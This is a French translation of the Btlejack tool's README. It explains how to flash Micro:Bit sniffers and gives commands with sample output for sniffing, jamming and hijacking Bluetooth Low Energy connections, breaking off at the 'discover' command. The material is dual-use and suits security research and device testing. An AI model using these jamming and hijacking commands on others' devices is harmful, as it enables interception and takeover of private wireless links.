
Couteau suisse Bluetooth Low Energy
BtleJack : un nouveau canif Bluetooth Low Energy #####################################################
Btlejack fournit tout le nécessaire pour sniffer, brouiller et détourner des appareils Bluetooth Low Energy. Il utilise un ou plusieurs BBC Micro:Bit <http://microbit.org/>_ dotés d'un firmware dédié. Vous pouvez également souhaiter utiliser un Adaptateur Bluefruit LE Sniffer d'Adafruit <https://www.adafruit.com/product/2269>_ ou un Kit d'évaluation nRF51822 <https://www.waveshare.com/wiki/BLE400>_, car nous avons ajouté la prise en charge de ces appareils.
La version actuelle de cet outil (2.0) prend en charge BLE 4.x et 5.x. La prise en charge de BLE 5.x est limitée : elle ne supporte que la PHY non codée à 1 Mbps et ne gère pas les mises à jour de la carte des canaux.
Vous avez besoin d'un système basé sur UNIX (par exemple un Raspberry Pi). Si vous utilisez le BBC Micro:Bit, vous aurez besoin d'un à trois Micro:Bit (trois appareils recommandés) et pour chaque appareil d'un port USB libre. La consommation électrique d'un Micro:Bit est assez faible, vous pouvez donc utiliser un seul port USB et un hub passif pour alimenter les trois unités recommandées.
Si vous connectez 3 microbits simultanément à votre ordinateur, Btlejack pourra écouter sur tous les canaux publicitaires et aura bien plus de chances de capturer la demande de connexion.
Tout d'abord, installez le logiciel client btlejack en Python3 avec Pip :
::
$ sudo pip3 install btlejack
Ensuite, connectez votre Micro:Bit à votre ordinateur avec un câble USB, montez le périphérique de stockage de masse associé (le point de montage doit contenir MICROBIT), puis exécutez la commande suivante :
::
$ btlejack -i
Cette commande programera chaque Micro:Bit connecté à votre ordinateur et les rendra prêts à être utilisés avec Btlejack. Elle utilisera la version de firmware correcte pour la version actuelle du logiciel client, il est donc fortement recommandé d'effectuer cette procédure d'installation du firmware à chaque mise à jour de Btlejack.
Si vous utilisez un Bluefruit LE sniffer ou un Kit d'évaluation nRF51822, veuillez utiliser un programmateur SWD externe pour flasher votre appareil avec ce firmware <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
Laissez vos appareils connectés et vous êtes prêt !
REMARQUE Cela ne fonctionne qu'avec les systèmes compatibles posix.
Utiliser Btlejack est assez simple. Btlejack peut :
Btlejack essaie normalement de détecter et d'utiliser automatiquement les appareils compatibles connectés (Micro:Bit uniquement pour le moment), mais comme le firmware peut être hacké ou modifié pour fonctionner avec d'autres cartes basées sur nRF51822, il fournit une option spécifique pour permettre la compatibilité avec ces appareils.
L'option -d vous permet de spécifier un ou plusieurs appareils avec Btlejack. Notez que cette option désactivera la détection automatique des appareils, et vous devez ajouter autant d'appareils que nécessaire :
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Tout d'abord, trouvez une connexion existante à cibler avec btlejack :
::
$ btlejack -s BtleJack version 1.1
[i] Énumération des connexions existantes ... [ - 54 dBm] 0xcd91d517 | paquets : 1 [ - 46 dBm] 0xcd91d517 | paquets : 2
La première valeur (en dBm) indique la puissance du signal ; plus cette valeur est élevée, meilleure sera la connexion sniffée.
La deuxième valeur (hexadécimale) est l'adresse d'accès associée, une valeur 32 bits identifiant un lien entre deux appareils compatibles Bluetooth Low Energy.
La dernière valeur est le nombre de paquets vus avec cette adresse d'accès. Plus cette valeur est élevée, plus il est probable que l'adresse d'accès correspondante soit utilisée.
Ensuite, utilisez l'option -f pour suivre une connexion spécifique :
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Sniffers détectés :
Sniffer #0 : version firmware 1.1
[i] Synchronisation avec la connexion 0xdda4845e ... ✓ CRCInit : 0x2a035e ✓ Carte des canaux = 0x1fffffffff ✓ Intervalle de saut = 39 ✓ Incrément de saut = 15 [i] Synchronisé, capture de paquets en cours ... LL Data : 02 07 03 00 04 00 0a 03 00 LL Data : 0a 08 04 00 04 00 0b 5a 69 70 LL Data : 02 07 03 00 04 00 0a 03 00 LL Data : 0a 08 04 00 04 00 0b 5a 69 70
Si vous utilisez plus d'un microbit, Btlejack parallélisera certaines opérations de sniffing afin d'accélérer la récupération des paramètres de connexion !
L'option -c supportée par btlejack vous permet de spécifier l'adresse BD cible, ou vous pouvez utiliser any pour capturer toute nouvelle connexion créée.
::
$ btlejack -c any BtleJack version 1.1
[i] Sniffers détectés :
Sniffer #0 : version 1.1 Sniffer #1 : version 1.1 LL Data : 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Paquet CONNECT_REQ reçu de 55:c5:95:6f:b4:df vers 40:23:99:f6:0a:c0 |-- Adresse d'accès : 0x0a2f7b1d |-- Valeur CRC Init : 0x93f49a |-- Intervalle de saut : 39 |-- Incrément de saut : 11 |-- Carte des canaux : 1fffffffff |-- Délai d'expiration : 20000 ms
LL Data : 03 09 08 0f 00 00 00 00 00 00 00 LL Data : 03 09 08 0f 00 00 00 00 00 00 00 LL Data : 0b 06 0c 08 0f 00 09 41 LL Data : 03 06 0c 07 1d 00 d3 07
Ou vous pouvez également spécifier l'adresse BD cible :
::
$ btlejack -c 03:e1:f0:00:11:22
Une fois une connexion identifiée par son adresse d'accès, vous pouvez la brouiller en utilisant l'option -j :
::
$ btlejack -f 0x129f3244 -j̀
Btlejack est également capable de détourner une connexion existante ; utilisez l'option -t pour cela. Une fois détournée, Btlejack vous donnera une invite vous permettant d'interagir avec l'appareil détourné.
Commencez par détourner une connexion existante :
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Utilisation des paramètres en cache (créés le 2018-08-11 à 01:48:24) [i] Sniffers détectés :
Sniffer #0 : version firmware 1.1
[i] Synchronisation avec la connexion 0x9c68fd30 ... ✓ CRCInit : 0x81f733 ✓ Carte des canaux fournie : 0x1fffffffff ✓ Intervalle de saut = 39 ✓ Incrément de saut = 9 [i] Synchronisé, détournement en cours ... [i] Connexion détournée avec succès, elle est toute à vous \o/ btlejack>
Utilisez ensuite les commandes suivantes pour interagir avec l'appareil :
Commande discover ^^^^^^^^^^^^^^^^^^^
La commande discover envoie et reçoit des paquets Bluetooth LE et récupère tous les UUIDs des services ainsi que leurs paramètres, ainsi que les UUIDs et paramètres des caractéristiques :
::